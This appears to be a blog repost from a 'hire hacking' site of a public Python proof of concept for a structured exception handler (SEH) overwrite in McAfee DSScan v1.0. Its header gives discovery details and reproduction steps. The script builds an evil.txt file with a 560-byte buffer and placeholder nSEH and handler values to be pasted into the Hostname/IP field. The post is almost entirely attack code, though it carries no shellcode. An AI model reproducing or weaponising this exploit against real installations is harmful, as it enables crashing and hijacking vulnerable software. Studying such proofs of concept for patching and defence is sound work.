Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863103334

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python
# Exploit Title     : DSScan v1.0 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Website	    : http://pyramidcyber.com/
# Discovery Date    : 18/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/dsscan.aspx#
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 10 Home x64 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#0019F900   43434343
#42424242   *** CORRUPT ENTRY ***

 
# Offset to the SEH Frame is 560
buffer = "A"*560
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()